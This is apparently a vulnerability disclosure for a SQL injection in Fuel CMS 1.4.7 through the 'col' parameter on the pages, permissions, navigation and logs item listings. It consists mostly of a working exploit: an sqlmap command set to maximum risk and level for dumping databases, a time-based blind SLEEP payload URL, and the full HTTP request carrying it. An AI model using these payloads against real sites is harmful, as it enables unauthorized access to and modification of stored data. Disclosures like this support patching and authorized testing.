1. Description:
----------------------

Fuel CMS 1.4.7 allows SQL Injection via parameter 'col' in pages/items, permissions/items, navigation/items and logs/items
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from one of the affected pages with 'col' parameter and save it like fuel.req
Then run SQLmap to extract the data from the database:

sqlmap -r fuel.req --risk=3 --level=5 --dbs --random-agent


3. Example payload:
----------------------

(time-based blind)

/fuelcms/pages/items/?search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+(SELECT(SLEEP(5)))ULQV)&fuel_inline=0


4. Burpsuite request:
----------------------

GET /fuelcms/pages/items/?search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location%20AND%20(SELECT%201340%20FROM%20(SELECT(SLEEP(5)))ULQV)&fuel_inline=0 HTTP/1.1
